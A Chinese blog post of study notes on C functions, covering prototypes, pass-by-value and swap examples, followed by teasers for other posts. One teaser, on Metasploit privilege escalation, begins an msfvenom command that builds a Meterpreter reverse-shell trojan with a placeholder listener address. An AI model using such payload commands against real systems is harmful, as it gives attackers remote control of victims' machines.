C和C指针小记(十)-函数
1、函数的定义
函数的定义就是函数体的实现.
语法:
类型
函数名(形式参数)
代码块
函数返回类型和函数名分开写是代码风格的问题,现代语言如swift返回值在函数名和参数表的后面,这样使得某些工程工具追踪源代码时更容易查找函数名.
K&RC 的旧式声明:
int *
find_int(key, array, array_len)
int key;
int array[];
int array_len;
{
}
为了兼容一些旧的编译器,C标准保留了这种声明格式
2、函数的声明
2.1 函数原型 (function prototype)
函数原型用于向编译器提供函数信息.格式上就是函数定义的起始部分+分号.
2.2 函数的缺省认定
当程序调用一个无法见到原型的函数时,编译器便认为该函数返回一个整型值.
3、函数的参数
C函数的所有参数均以“传值调用”方式进行传递,这意味着函数将获得参数值的一份拷贝.这样函数可以放心的修改这个值,而不必担心会修该调用程序实际传递给它的参数.
有个例外,如果被传递的参数是一个数组名,并且在函数中使用下标引用该数组的参数,那么在函数中对数组元素进行修改实际上修改的是调用程序中的数组元素.函数将访问调用程序的数组元素,数组并不会被复制,这就是“传址调用”
但是,实际上,传递数组做为参数时是传递的指针的一个拷贝.从这个角度考虑,C函数的所有参数均以传值调用.
传值点用的一个例子:
/**
对值进行奇偶校验
@param value 整型参数值
@param n_bits 数值的有效位数
@return 1 : 偶数个 0 : 奇数个
*/
int
even_parity(int value, int n_bits){
int parity = 0;
//计数值中值为1的位的个数
while (n_bits > 0) {
parity += value & 1;
value >>= 1;
n_bits -= 1;
}
//如果计数器的最低位是0,返回TRUE,表示1的位数为偶数个
return (parity % 2) == 0;
}
//交换调用程序中的两个整数值(无效),因为它实际交换的是参数的拷贝
void
swapX(int x, int y)
{
int temp;
temp = x;
x = y;
y = temp;
}
//传递指向希望修改的变量的指针,
void
swap(int *x, int *y)
{
int temp;
temp = *x;
*x = *y;
*y = temp;
}
//调用时
swap (&a, &b);//要传递指针
C和C指针小记(十)-函数的更多相关文章
- C和C指针小记(十二)-函数的可变参数表
1.可变参数表是通过宏实现的 宏定义于stdarg.h头文件,它是标准库的一部分.这个头文件声明了一个类型var_list和三个宏--va_start.va_arg.va_end. 我们可以声明一个类 ...
- C和C指针小记(十八)-使用结构和指针-双向链表
1.双链表 1.1 双向链表的声明 在一个双链表中,每个节点都包含两个指针--指向前一个节点的指针和指向后一个节点的指针. 声明 typedef struct NODE { struct NODE * ...
- C和C指针小记(十六)-动态内存分配
动态内存分配 1.1 为什么使用动态内存分配 直接声明数组的方式的缺点: 1) 声明数组必须指定长度限制.无法处理超过声明长度的数组. 2) 如果声明更大的常量来弥补第一个缺点,会造成更多的内存浪费. ...
- C和C指针小记(十四)-字符串、字符和字节
1.字符串 C语言没有字符串数据类型,因为字符串以字符串常量的形式出现或存储于字符数组中. 字符串常量和适用于那些程序不会对他们进行修改的字符串. 所有其他字符串都必须存储于字符串数组或动态分配的内存 ...
- C和C指针小记(十五)-结构和联合
1.结构 1.1 结构声明 在声明结构时,必须列出它包含的所有成员.这个列表包括每个成员的类型和名称. struct tag {member-list} variable-list; 例如 //A s ...
- C++(二十二) — 指针变量、函数指针、void指针
1.指针变量 (1)指针变量必须在初始化后才可以正常使用,初始化就是给他分配一个有效的数据地址. 先初始化,后使用. (2)指针可以进行加减运算,++ 或者 --:将指针的位置向前或者向后移动一个数据 ...
- (C/C++学习笔记) 十. 函数
十. 函数 ● 基本概念 函数 函数定义 function definition: return_type function_name ( parameter list ) { Body of fun ...
- 构造函数和初始化表、this指针与常函数、析构函数、拷贝构造与拷贝赋值(day05)
十四 构造函数和初始化表 ... 初始化表 )语法形式 class 类名{ 类名(形参表):成员变量1(初值),...{} }; )必须要使用初始化表的场景 -->如果有类 类型的成员变量,而该 ...
- C和指针 第十二章 结构体 习题
12.3 重新编写12.7,使用头和尾指针分别以一个单独的指针传递给函数,而不是作为一个节点的一部分 #include <stdio.h> #include <stdlib.h> ...
随机推荐
- 文件批量上传-统一附件管理器-在线预览文件(有互联网和没有两种)--SNF快速开发平台3.0
实际上在SNF里使用附件管理是非常简单的事情,一句代码就可以搞定.但我也要在这里记录一下统一附件管理器能满足的需求. 通用的附件管理,不要重复开发,调用尽量简洁. 批量文件上传,并对每个文件大小限制, ...
- 并发和多线程-说说面试长提平时少用的volatile
说到volatile,一些参加过面试的同学对此肯定不陌生. 它是面试官口中的常客,但是平时的编码却很少打照面(起码,我是这样的). 最近的面试,我也经常会问到volatile相关的问题,比如volat ...
- Msf提权步骤
1.生成反弹木马(脚本,执行程序) msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=&l ...
- oracle 函数to_char(数据,'FM999,999,999,999,990.00') 格式化数据(转)
转载自:https://blog.csdn.net/fupengyao/article/details/52778565 遇到了oracle 取数格式问题,这里记一下 我们通常在做数据算数后,会想要让 ...
- WebMisSharp更新了,最新版本1.5.2,WebMisCentral-Client最新版
WebMisSharp更新记录 Version 1.5.2 1.5.2下载地址:http://item.taobao.com/item.htm?spm=686.1000925.1000774.13.w ...
- 配置 -- php运行报Call to undefined function curl_init()的解决办法
很早之前就出现过这个问题,网上百度了下,答案千篇一律,都是说: 1.在php.ini中开启curl扩展 2.将php目录下的libeay32.dll.ssleay32.dll.php5ts.dll拷贝 ...
- ORACLE 11.2.0.4 OCR VOTING DISK 模拟恢复场景
① 备份 ocrconfig -export 文件名 或者 ocrconfig -manualbackup 或者 找到备份 ocrconfig -local -showb ...
- oracle表空间不足扩容的方法
1.查询当前用户的所属表空间 select * from user_users; 2.增加表空间有两种方法: 以sysdba登陆进数据库 语法: alter tablespace 表空间名称 add ...
- Python中类的特殊变量
特殊变量 类似__xx,以双下划线开头的实例变量名,就变成了一个私有变量(private),只有内部可以访问,外部不能访问: 类似__xx__,以双下划线开头,并且以双下划线结尾的,是特殊变量,特殊变 ...
- 删除新版UniAccess Agent 办公室监控软件的方法
UniAccess Agent 是在由LeagSoft开发的监控软件,老版本的一般安装在C:\Program Files\LeagSoft\UniAccess Agent这个目录下,一般找到这个目录点 ...